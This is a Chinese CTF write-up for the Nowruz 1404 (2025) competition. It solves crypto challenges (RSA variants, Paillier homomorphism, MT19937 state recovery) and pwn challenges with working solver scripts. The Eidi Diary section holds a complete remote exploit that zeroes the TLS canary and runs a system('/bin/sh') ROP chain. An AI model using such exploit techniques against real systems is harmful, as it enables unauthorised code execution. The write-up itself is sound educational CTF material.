[Nowruz 1404] 2025 Crypto/PWN部分
这两个比赛都不难,简单记录一下。
Crypto
EZ RSA
已知p+q和n=p*q分解
>>> p = (iroot(hint**2 - 4*n,2)[0]+hint)//2
>>> long_to_bytes(pow(c,invert(65537,p-1),p))
b'FMCTF{rSA_34SY_P34SY_L3M0N_5QU33ZY}'
EZ XOR
key与flag异或,key7字节,flag头6字节已知,爆破1字节key
enc = bytes.fromhex('a850d725cb56b0de4fcb40de72a4df56a72ec06cafa75ecb41f51c95')
key = xor(b'FMCTF{', enc[:6])
for i in range(256):
tk = key + bytes([i])
print(xor(tk,enc))
#FMCTF{X0R_1S_L1K3_MAGIC_0x1}
seal-the-deal
一个Pillier加密系统,不过与本题无关。
from math import gcd
from Crypto.Util.number import getPrime, inverse
from random import randint
import secrets
import time
with open("flag.txt") as f:
flag = f.readline()
class Paillier:
def __init__(self, bits):
self.bits = bits
self.pub, self.priv = self.keygen()
def lcm(self, a, b):
return a * b // gcd(a, b)
def keygen(self):
while True:
p = getPrime(self.bits)
q = getPrime(self.bits)
if p != q:
break
n = p * q
Lambda = self.lcm(p - 1, q - 1)
g = n + 1
mu = inverse(Lambda, n)
return ((n, g), (Lambda, mu))
def encrypt(self, m):
(n, g) = self.pub
n_sq = n * n
while True:
r = randint(1, n - 1)
if gcd(r, n) == 1:
break
c = (pow(g, m, n_sq) * pow(r, n, n_sq)) % n_sq
return c
def decrypt(self, c):
(n, g) = self.pub
(Lambda, mu) = self.priv
n_sq = n * n
x = pow(c, Lambda, n_sq)
m = (((x - 1) // n) * mu) % n
return m
def get_keys(self):
return self.pub, self.priv
if __name__ == "__main__":
print("Welcome to the Secure Gate Challenge!")
paillier = Paillier(256)
pub, priv = paillier.get_keys()
print('(n,g)=', pub)
nums = [secrets.randbits(16) for _ in range(4)]
res = (nums[0] + nums[1]) + (nums[2] - nums[3])
ciphers = [paillier.encrypt(i) for i in nums]
print('c1 =', ciphers[0])
print('c2 =', ciphers[1])
print('c3 =', ciphers[2])
print('c4 =', ciphers[3])
try:
start_time = time.time()
pass_code = int(input("Can you open the gate? If so, insert the passcode fast: "))
if time.time() - start_time > 60:
print("Too slow! Time's up!")
exit()
pass_decode = paillier.decrypt(pass_code)
if res == pass_decode:
print(f"Wow! You opened it, The flag is: {flag}")
else:
print("Nope, Maybe next time :(")
except Exception as e:
print("Invalid input or error occurred:", str(e))
exit()
已知4个nums的密文求res = (nums[0] + nums[1]) + (nums[2] - nums[3])的密文。
c = g^m*r^n => c_res = g^(m0+m1+m2-m3)*r^n = g^m0* g^m1 * g^m2 * g^-m3 *r^n = c0*c1*c2*c3^-1
from pwn import *
from gmpy2 import invert
p = remote('seal-the-deal.fmc.tf', 2003)
p.recvuntil(b'(n,g)=')
n,g = eval(p.recvline())
print(n)
p.recvuntil(b'=')
c1 = int(p.recvline())
p.recvuntil(b'=')
c2 = int(p.recvline())
p.recvuntil(b'=')
c3 = int(p.recvline())
p.recvuntil(b'=')
c4 = int(p.recvline())
print(n,c1,c2,c3,c4)
c = c1*c2*c3*invert(c4,n**2)%n**2
p.sendlineafter(b"Can you open the gate? If so, insert the passcode fast: ", str(c).encode())
p.interactive()
#FMCTF{P41ll13r_h0m0m0rph1c_3n4bl35_c0mpu7at10n_0n_c1ph3r5}
Robin’s Mystery
给了密文和证书,并且说明p和q相邻。
import random
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
def nextPrime(prim):
if isPrime(prim):
return prim
else:
return nextPrime(prim+1)
p = getPrime(512)
q = nextPrime(p+1)
while p%4 != 3 or q%4 !=3:
p = getPrime(512)
q = nextPrime(p+1)
n = p*q
m = bytes_to_long( open('flag.txt','rb').read() )
c = pow(m, e, n)
rsa = RSA.construct((n, e))
print(rsa.exportKey().decode())
print(f"cipher: { long_to_bytes(c) }")
证书里有e=16
直接对p,q求根再求crt爆破,感觉有简单题上这个方法比rabin方法容易。
n = 73671169113692412161518091695991074472499960503340036931063401833844789007180020715886458582760614423768286510200921468682879797651585778343666370976746242033960964171883195866661042323420463092656546940842903827382288624493399406855771112920858499309807681038473688274738183488216155275283711673441904987653
enc = b'\x10\xc4\xbf\xfapg\xee\x00\xe4\xcd\x00\xb4i\xf5\x801\xdd\xafm\xb1\xad\x8dy\x01\xaa\x14\xd1\xa3\x14[\xdf\xc8c\xb1\xf4\xcb\xcf\xf0\xf9\x83\x85%\x19\xd2d>N\x9aR\xa4\xba\xc9\xda\xd8\xe4\xa2\x9cg%.\xac\xd7\xb5\x95\x7f\x87\x04?\xf7\xe4\x06(\xe7l\x1c"c\x95\x90z\xd4\x8b\x9f\x1b\x00\xc67\xe4\x82g\xc4b\x10\x8c\xe7s[\x95-TB+Z;\xe4\x00\x11<\xc51K\xec\x94ZL\xb2\xf9\x7fp<\xe6C\xf8\x7f\x90\x0bG\xcf'
q = next_prime(iroot(n,2)[0])
p = n//q
p = 8583191079877717143954293663418499797265896659440705659861607727231607813990404415197156190837935083515591819471515635634480053063098019015612140184864883
c = bytes_to_long(enc)
P.<x> = PolynomialRing(GF(p))
f = x^16 - c
res1 = f.roots()
P.<x> = PolynomialRing(GF(q))
f = x^16 - c
res2 = f.roots()
for i in res1:
for j in res2:
m = crt([int(i[0]),int(j[0])],[p,q])
long_to_bytes(int(m))
#FMCTF{S0lv3d_w1th_R4b1n_fx777}
circular maze
越后边题越简单了,加密方式就是加前一个字符加后一个字符,由于flag头已知,直接从未知部分爆破
flag = "FMCTF{REDACTED}"
def enc(data : str):
result = []
for i in range(len(data)):
result.append(
(
(
ord(data[i - 1]) +
ord(data[i]) +
ord(data[(i + 1) % len(data)])
) % 256)
.to_bytes()
)
return b''.join(result)
print(enc(flag))
open("./flag.enc", "wb").write(enc(flag))
#设置已经部分后爆破
enc = b'\x10\xd6\xe4\xdd\x15#OCL?>20+>>A40-;;@<QB9:IB.444,9U/'
flag = [0]*len(enc)
flag[-1] = ord('}')
for i,v in enumerate(b'FMCTF{'):
flag[i]=v
l = len(enc)
for i in range(5,l-2):
for c in range(0x20,0x7f):
if (flag[i-1]+flag[i]+c)%256 == enc[i]:
flag[i+1]=c
#FMCTF{broken_circle_is_not_fun_at_all}
Brutal RSA
e=3,猜m的3次幂比n大点有限,爆破
c = 41371441628678749855341069318913940139183366190092850457791401944637484881722387130432528789403867120983310612023037050412981687401539375118177921234958241549652642148049464476777138721957300380163011255302922062871368980358844918698066643476906429304993326666393192819367202508911333287188748033044647
e = 3
n = 125533848452137763185016834412259349043987425043688722410453579918645013940088212764269073831951730407180201649381111989694930753816422349270797992511026080967667823475550286796327579680655909172631694714891168782703472181155691095137469432249992072921349964218538827606766136606019411932023475455088911
>>> for i in range(0x1000000):
... if iroot(c+i*n,3)[1]:
... print(iroot(c+i*n,3))
... print(long_to_bytes(iroot(c+i*n,3)[0]))
...
(mpz(9301534079831286039346266129154850516684651412757139483680870614546154958524604656409095002277116191009), True)
FMCTF{Bru7ef0rce_1s_s0me71mes_4n_effective_W4y!!!}
superguesser
梅森放置的题,本来不想贴这个,太长了。可后边还有用。
可以提供1000个连续的32位随机数。直接弄到函数里就OK
#!/usr/local/bin/python
import random
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
MAX_ATTEMPTS = 1000
def encrypt_flag(flag):
key = random.getrandbits(128).to_bytes(16, 'big')
iv = random.getrandbits(128).to_bytes(16, 'big')
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(flag.encode(), AES.block_size))
return encrypted
def main():
random.seed(time.time())
encrypted_flag = encrypt_flag(open('./flag.txt').read())
print("\n✨ Welcome to the **Guess the Number Challenge v1**! ✨")
print("🕵️♂️ Can you uncover the secret behind the encrypted flag?")
print("📜 Use your intelligence, strategy, and the hints provided to succeed!")
print("Your task: Use your wits and strategy to uncover hints to decrypt the flag.")
print(f"\nHere is your encrypted flag: \n{encrypted_flag.hex()}")
print("\nBut don't worry, I'm generous. I've precomputed 1000 random hints for you!")
print(f"You have {MAX_ATTEMPTS} attempts to guess the right index.\n")
hints = [random.getrandbits(32) for _ in range(1000)]
for attempt in range(1, MAX_ATTEMPTS + 1):
print(f"Attempt {attempt}/{MAX_ATTEMPTS}")
try:
index = int(input("Enter an index (0-999): ").strip())
if 0 <= index < 1000:
print(f"🔑 Hint at index {index}: {hints[index]}")
else:
print("❌ Invalid index! Please enter a number between 0 and 999.\n")
except ValueError:
print("❌ Invalid input! Please enter a valid integer.\n")
print("\n✨ Your attempts are over! But don't give up just yet.")
print("✨ Your attempts are over! Good luck solving the challenge!\n")
print("🔍 Don't forget: The key to solving the challenge lies in these random hints. Goodbye!")
if __name__ == "__main__":
main()
先整个代码把624个数搞下来
from pwn import *
context.log_level='debug'
p = remote('superguesser.fmc.tf', 2001)
p.recvuntil(b'Here is your encrypted flag: \n')
enc = p.recvline()
hint = []
for i in range(660):
p.sendlineafter(b"Enter an index (0-999): ", str(i).encode())
p.recvuntil(b": ")
hint.append(int(p.recvline()))
print(enc)
print(hint)
open('c4_output.txt','w').write(b"enc ='"+enc.decode()+b"'\nhint="+str(hint).encode())
然后放函数里恢复state
import random
from extend_mt19937_predictor import ExtendMT19937Predictor
predictor = ExtendMT19937Predictor()
for _ in range(624):
predictor.setrandbits(hint[_], 32)
for i in range(624):
predictor.backtrack_getrandbits(32)
iv = predictor.backtrack_getrandbits(128).to_bytes(16, 'big')
key = predictor.backtrack_getrandbits(128).to_bytes(16, 'big')
from Crypto.Cipher import AES
cipher = AES.new(key, AES.MODE_CBC, iv)
m = cipher.decrypt(bytes.fromhex(enc))
#FMCTF{8a78dcb8e926e99a802261bc282aa3af}
superguesser v2
与上题基本相同,只是只提供10个已知的32位数。
由于MT19937算法R[624]是由R[0],R[1],R[397]运算得到,所以只要知道对应位置的3个就能得到一个正确的32数数预测。而key是128需要4个,那就是R0-4,R397-400一共9个就OK
还是先弄个数
from pwn import *
context.log_level='debug'
p = remote('superguesser.fmc.tf', 2002)
p.recvuntil(b'Here is your encrypted flag: \n')
enc = p.recvline()
print(enc)
hint = []
for i in [0,1,2,3,4,397,398,399,400]:
p.sendlineafter(b"Enter an index (0-624): ", str(i).encode())
p.recvuntil(b": ")
hint.append(int(p.recvline()))
print(enc)
print(hint)
open('c6_output.txt','wb').write(b"enc ='"+enc+b"'\nhint="+str(hint).encode())
然后又有个小坑,iv未知,但是8位乘2,所以可以根据头恢复6位,再根据乘2猜剩余两字节。显然这里是MT9937。
enc = 'aea8c683bb127d54cb80badf2350976b9553fe572cb874f30a690a3e45f03e4f16b646455fc7e648af3b47ff30e21e4e'
hint = [2121643374, 1686915682, 4018945047, 1251881103, 410687675, 635686244, 1192924992, 1232166041, 4164628757]
a = [0]*624
for i,v in enumerate([0,1,2,3,4,397,398,399,400]):
a[v]=hint[i]
import random
from extend_mt19937_predictor import ExtendMT19937Predictor
predictor = ExtendMT19937Predictor()
for _ in range(624):
predictor.setrandbits(a[_], 32)
key = predictor.predict_getrandbits(128).to_bytes(16, 'big')
cipher = AES.new(key, AES.MODE_CBC, b'\0'*16)
m = cipher.decrypt(bytes.fromhex(enc))
#用flag头恢复iv
#b' /sq\xa5\xc7\x9d\x969/d\x14\xda\x85\xf8\x93_S33d_Unc0v3r3d}\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
from pwn import xor
iv = xor(m[:8], b'FMCTF{\0\0')
xor(m[:16],iv*2)
#b'FMCTF{\x00\x00_MT199e\x05'
iv = xor(m[8:16], b'_MT19937')
xor(m[:16],iv*2)
b'FMCTF{V2_MT19937'
#FMCTF{V2_MT19937_S33d_Unc0v3r3d}
PWN
Seen Shop
就是买东西花超了就OK,这谁不会呀。
┌──(kali㉿kali)-[~/ctf/2503/utctf]
└─$ nc 164.92.176.247 9000
Shop Menu:
1. Add to Basket
2. Checkout
3. Top up
4. Exit
Enter your choice: 1
Available 7 Seens:
1. Sabzeh - 30000 Toman
2. Senjed - 20000 Toman
3. Seer - 20000 Toman
4. Seeb - 10000 Toman
5. Samanu - 35000 Toman
6. Serkeh - 40000 Toman
7. Sekkeh - 80000000 Toman
Enter item number to add (1-7): 7
Enter quantity: 30
Added 30 Sekkeh(s) to your basket.
Shop Menu:
1. Add to Basket
2. Checkout
3. Top up
4. Exit
Enter your choice: 1
Available 7 Seens:
1. Sabzeh - 30000 Toman
2. Senjed - 20000 Toman
3. Seer - 20000 Toman
4. Seeb - 10000 Toman
5. Samanu - 35000 Toman
6. Serkeh - 40000 Toman
7. Sekkeh - 80000000 Toman
Enter item number to add (1-7): 6
Enter quantity: 11
Added 11 Serkeh(s) to your basket.
Shop Menu:
1. Add to Basket
2. Checkout
3. Top up
4. Exit
Enter your choice: 2
Your Basket:
Serkeh - 11 item = 440000 Toman
Sekkeh - 30 item = -1894967296 Toman
Total: -1894527296
oh... pole ke mirize...
FMCTF{61346013e4b1e77a2f1b3675abc62c62}
Thank you ~~ Have a nice Nowruz!
Seen Guessing
输入有溢出,溢出到后门就OK
Eidi Diary
这题有点麻烦。
先给了个菜单,可以显示maps但是会退出。所以不是在这里获取地址,而是获取偏移就是各个段的偏移。毕竟它每次启动以后都基本不会变。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+0h] [rbp-120h] BYREF
int i; // [rsp+4h] [rbp-11Ch]
FILE *stream; // [rsp+8h] [rbp-118h]
char s[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v8; // [rsp+118h] [rbp-8h]
v8 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
while ( 1 )
{
puts("Eidi diary");
puts("1 - Add Eidi");
puts("2 - View Eidis");
puts("3 - Exit");
printf("Enter your choice: ");
if ( (unsigned int)__isoc99_scanf("%d", &v4) != 1 )
return 1;
getchar();
if ( v4 == 1337 )
{
stream = fopen("/proc/self/maps", "r");
while ( fgets(s, 256, stream) )
printf("%s", s);
fclose(stream);
exit(0);
}
if ( v4 > 1337 )
goto LABEL_21;
if ( v4 == 3 )
{
puts("Exiting!");
for ( i = 0; i < eidiCount; ++i )
free(*((void **)&eidiList + 3 * i));
exit(0);
}
if ( v4 > 3 )
{
LABEL_21:
puts("Invalid choice. Try again.");
}
else if ( v4 == 1 )
{
addEidi();
}
else
{
if ( v4 != 2 )
goto LABEL_21;
viewEidis();
}
}
}
然后是add和show 由于栈里有残留通过add和show能得到libc和栈地址。
另外在add里有个漏洞,v2是64位的,而比较的时候用的16位word型,所以可以住buf[v2]写0,相当于任意地址写。
unsigned __int64 addEidi()
{
unsigned __int16 v0; // ax
__int64 v2; // [rsp+8h] [rbp-A8h] BYREF
__int64 v3; // [rsp+10h] [rbp-A0h] BYREF
char *v4; // [rsp+18h] [rbp-98h]
char buf[136]; // [rsp+20h] [rbp-90h] BYREF
unsigned __int64 v6; // [rsp+A8h] [rbp-8h]
v6 = __readfsqword(0x28u);
printf("Enter the length of the giver's name: ");
__isoc99_scanf("%lu", &v2);
getchar();
printf("Enter the name of the giver: ");
v0 = 256;
if ( (unsigned __int16)v2 <= 0x100u )
v0 = v2;
read(0, buf, v0);
buf[v2] = 0;
v4 = strdup(buf);
printf("Enter the amount received: ");
__isoc99_scanf("%lf", &v3);
*((_QWORD *)&eidiList + 3 * eidiCount) = v4;
qword_4050[3 * eidiCount] = v3;
*((_WORD *)&unk_4048 + 12 * eidiCount++) = strlen(buf);
puts("Eidi recorded successfully!");
return v6 - __readfsqword(0x28u);
}
这个题的难点就在于有溢出但是有canary,所以利用空上buf[v2]=0写fs:0x28处的canary,并同时溢出覆盖栈里的canary 1字节,这样当把canary7字节全部覆盖为0时就能溢出写ROP了。
两个小坑:一是远程的fs在libc前边而且长度也不同,得一个个试才找到,二是栈里的残留不同远程栈地址在很远的地方,也得一个个位置试,不过可选都不多。试几次就OK
from pwn import *
context(arch='amd64', log_level='error')
libc = ELF('./libc.so.6')
elf = ELF('./chall')
def get_maps():
p.sendlineafter(b"Enter your choice: ", b'1337')
maps = []
while True:
msg = p.recvline()
maps.append(int(msg.split(b'-')[0],16))
if b'stack' in msg:
break
return maps
def add(msg, size=0x80):
p.sendlineafter(b"Enter your choice: ", b'1')
p.sendlineafter(b"Enter the length of the giver's name: ", str(size).encode())
p.sendafter(b"Enter the name of the giver: ", msg)
p.sendlineafter(b"Enter the amount received: ",b'1')
def show(head):
p.sendlineafter(b"Enter your choice: ", b'2')
p.recvuntil(head)
#p = process('./chall')
p = remote('164.92.176.247', 4000)
#先通过栈里残留的指针泄露地址
add(b'A'*8, 0x80)
show(b'A'*8)
ld_base = u64(p.recv(6)+b'\0\0') - 0x5380
print(f"{ld_base = :x}")
#add(b'A'*16, 0x80)
#show(b'A'*16)
#stack = u64(p.recv(6)+b'\0\0') - 0x40
#print(f"{stack = :x}")
add(b'A'*24, 0x80)
show(b'A'*24)
libc.address = u64(p.recv(6)+b'\0\0') - 0x92ef3
print(f"{libc.address = :x}")
add(b'A'*32, 0x80)
show(b'A'*32)
elf.address = u64(p.recv(6)+b'\0\0') - 0x20fd
print(f"{elf.address = :x}")
add(b'A'*0x68, 0x80)
show(b'A'*0x68)
stack = u64(p.recv(6)+b'\0\0') - 0x2e8
print(f"{stack = :x}")
#canary = ld_base - 0xb000 + 0x768
canary = libc.address - 0x3000 + 0x768
print(f"{canary = :x}")
context.log_level='debug'
#get_maps()
#add(b'\0'*(0x90), canary-stack+1)
#gdb.attach(p, "b*0x5555555553a4\nc")
#erase canary
for i in range(7):
add(b'\0'*(0x8a+i), canary-stack+1+i)
#gdb.attach(p, "b*0x5555555554b4\nc")
pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
add(b'\0'*0x90+ flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')) ,libc.sym['system']), 0x100)
#gdb.attach(p)
#pause()
p.interactive()
#FMCTF{23872be04d6f9abca4ab019333546a4f}
'''
b'619ffb0af000-619ffb0b0000 r--p 00000000 00:2f 529840 /home/user/chall\n'
b'619ffb0b0000-619ffb0b1000 r-xp 00001000 00:2f 529840 /home/user/chall\n'
b'619ffb0b1000-619ffb0b2000 r--p 00002000 00:2f 529840 /home/user/chall\n'
b'619ffb0b2000-619ffb0b3000 r--p 00002000 00:2f 529840 /home/user/chall\n'
b'619ffb0b3000-619ffb0b4000 rw-p 00003000 00:2f 529840 /home/user/chall\n'
b'61a033a30000-61a033a51000 rw-p 00000000 00:00 0 [heap]\n'
b'7c3fc86d2000-7c3fc86d5000 rw-p 00000000 00:00 0 \n' <----- 远程的在这
b'7c3fc86d5000-7c3fc86fd000 r--p 00000000 00:2f 528641 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'7c3fc86fd000-7c3fc8885000 r-xp 00028000 00:2f 528641 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'7c3fc8885000-7c3fc88d4000 r--p 001b0000 00:2f 528641 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'7c3fc88d4000-7c3fc88d8000 r--p 001fe000 00:2f 528641 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'7c3fc88d8000-7c3fc88da000 rw-p 00202000 00:2f 528641 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'7c3fc88da000-7c3fc88e7000 rw-p 00000000 00:00 0 \n'
b'7c3fc88e9000-7c3fc88eb000 rw-p 00000000 00:00 0 \n'
b'7c3fc88eb000-7c3fc88ec000 r--p 00000000 00:2f 528635 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'7c3fc88ec000-7c3fc8917000 r-xp 00001000 00:2f 528635 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'7c3fc8917000-7c3fc8921000 r--p 0002c000 00:2f 528635 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'7c3fc8921000-7c3fc8923000 r--p 00036000 00:2f 528635 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'7c3fc8923000-7c3fc8925000 rw-p 00038000 00:2f 528635 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'7ffee61de000-7ffee61ff000 rw-p 00000000 00:00 0 [stack]\n'
b'7ffee6377000-7ffee637b000 r--p 00000000 00:00 0 [vvar]\n'
b'7ffee637b000-7ffee637d000 r-xp 00000000 00:00 0 [vdso]\n'
b'ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]\n'
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x555555554000 0x555555555000 r--p 1000 0 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall
0x555555555000 0x555555556000 r-xp 1000 1000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall
0x555555556000 0x555555557000 r--p 1000 2000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall
0x555555557000 0x555555558000 r--p 1000 2000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall
0x555555558000 0x555555559000 rw-p 1000 3000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall
0x555555559000 0x55555555b000 rw-p 2000 5000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/libc.so.6
0x7ffff7c28000 0x7ffff7db0000 r-xp 188000 28000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/libc.so.6
0x7ffff7db0000 0x7ffff7dff000 r--p 4f000 1b0000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/libc.so.6
0x7ffff7dff000 0x7ffff7e03000 r--p 4000 1fe000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/libc.so.6
0x7ffff7e03000 0x7ffff7e05000 rw-p 2000 202000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/libc.so.6
0x7ffff7e05000 0x7ffff7e12000 rw-p d000 0 [anon_7ffff7e05]
0x7ffff7fba000 0x7ffff7fbf000 rw-p 5000 0 [anon_7ffff7fba] <------- 本地的地这
0x7ffff7fbf000 0x7ffff7fc3000 r--p 4000 0 [vvar]
0x7ffff7fc3000 0x7ffff7fc5000 r-xp 2000 0 [vdso]
0x7ffff7fc5000 0x7ffff7fc6000 r--p 1000 0 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/ld-linux-x86-64.so.2
0x7ffff7fc6000 0x7ffff7ff1000 r-xp 2b000 1000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/ld-linux-x86-64.so.2
0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 2c000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 36000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 38000 /home/kali/ctf/2503/utctf/p3_Eidi_Diary/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
pwndbg> tel 30
00:0000│ rsp 0x7fffffffdac0 ◂— 8
01:0008│-0a8 0x7fffffffdac8 —▸ 0x7fffffffdb80 ◂— 1
02:0010│-0a0 0x7fffffffdad0 ◂— 0
03:0018│-098 0x7fffffffdad8 ◂— 0
04:0020│ rax rsi 0x7fffffffdae0 ◂— 0x13
05:0028│-088 0x7fffffffdae8 —▸ 0x7ffff7fca380 ◂— endbr64
06:0030│-080 0x7fffffffdaf0 —▸ 0x7fffffffdb20 —▸ 0x7fffffffdb70 —▸ 0x7fffffffdca0 —▸ 0x7fffffffdd40 ◂— ... 远程没有这个指针
07:0038│-078 0x7fffffffdaf8 —▸ 0x7ffff7c92ef3 (_IO_file_overflow+259) ◂— cmp eax, -1
08:0040│-070 0x7fffffffdb00 —▸ 0x5555555560fd ◂— '3 - Exit'
09:0048│-068 0x7fffffffdb08 ◂— 8
0a:0050│-060 0x7fffffffdb10 —▸ 0x5555555560fd ◂— '3 - Exit'
0b:0058│-058 0x7fffffffdb18 —▸ 0x7ffff7e045c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
0c:0060│-050 0x7fffffffdb20 —▸ 0x7fffffffdb70 —▸ 0x7fffffffdca0 —▸ 0x7fffffffdd40 —▸ 0x7fffffffdda0 ◂— ...
0d:0068│-048 0x7fffffffdb28 —▸ 0x7ffff7c87dda (puts+506) ◂— cmp eax, -1
0e:0070│-040 0x7fffffffdb30 ◂— 0
0f:0078│-038 0x7fffffffdb38 —▸ 0x7ffff7e045c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
10:0080│-030 0x7fffffffdb40 —▸ 0x7fffffffdb70 —▸ 0x7fffffffdca0 —▸ 0x7fffffffdd40 —▸ 0x7fffffffdda0 ◂— ...
11:0088│-028 0x7fffffffdb48 —▸ 0x7fffffffddc8 —▸ 0x7fffffffe162 ◂— '/home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall' #远程本地都有
12:0090│-020 0x7fffffffdb50 ◂— 1
13:0098│-018 0x7fffffffdb58 —▸ 0x7fffffffddc8 —▸ 0x7fffffffe162 ◂— '/home/kali/ctf/2503/utctf/p3_Eidi_Diary/chall'
14:00a0│-010 0x7fffffffdb60 ◂— 1
15:00a8│-008 0x7fffffffdb68 ◂— 0x1253858cf2cb3f00
16:00b0│ rbp 0x7fffffffdb70 —▸ 0x7fffffffdca0 —▸ 0x7fffffffdd40 —▸ 0x7fffffffdda0 ◂— 0
17:00b8│+008 0x7fffffffdb78 —▸ 0x5555555556c2 (main+286) ◂— jmp 0x5555555557c4
pwndbg> search -8 0x1253858cf2cb3f00
Searching for value: b'\x00?\xcb\xf2\x8c\x85S\x12'
[anon_7ffff7fba] 0x7ffff7fba768 0x1253858cf2cb3f00
[stack] 0x7fffffffd998 0x1253858cf2cb3f00
[stack] 0x7fffffffd9f8 0x1253858cf2cb3f00
[stack] 0x7fffffffda58 0x1253858cf2cb3f00
[stack] 0x7fffffffdb68 0x1253858cf2cb3f00
[stack] 0x7fffffffdc98 0x1253858cf2cb3f00
[stack] 0x7fffffffdd38 0x1253858cf2cb3f00
pwndbg> x/20gx 0x7ffff7fba730
0x7ffff7fba730: 0x0000000000000000 0x0000000000000000
0x7ffff7fba740: 0x00007ffff7fba740 0x00007ffff7fbb0e0
0x7ffff7fba750: 0x00007ffff7fba740 0x0000000000000000
0x7ffff7fba760: 0x0000000000000000 0x1253858cf2cb3f00
0x7ffff7fba770: 0x14b7f5084cf5913c 0x0000000000000000
0x7ffff7fba780: 0x0000000000000000 0x0000000000000000
0x7ffff7fba790: 0x0000000000000000 0x0000000000000000
'''